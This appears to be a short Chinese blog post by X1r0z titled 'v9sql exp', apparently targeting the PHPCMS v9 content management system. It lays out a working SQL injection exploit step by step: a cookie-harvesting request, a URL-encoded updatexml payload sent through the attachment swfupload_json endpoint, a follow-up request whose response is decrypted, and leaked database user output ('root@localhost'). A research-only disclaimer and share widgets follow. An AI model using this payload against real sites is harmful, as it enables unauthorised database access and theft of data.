/index.php?m=wap&c=index&a=init&siteid=1
获取 set-cookie 的值
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
post 传入 userid_flash 内容是刚刚获取到的 cookie
如果不成功的话 在 header 里面加上
Content-Type: application/x-www-form-urlencoded
复制 set-cookie 里的 json
/index.php?m=content&c=down&a_k=json
解密
root@localhost
v9sql exp
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论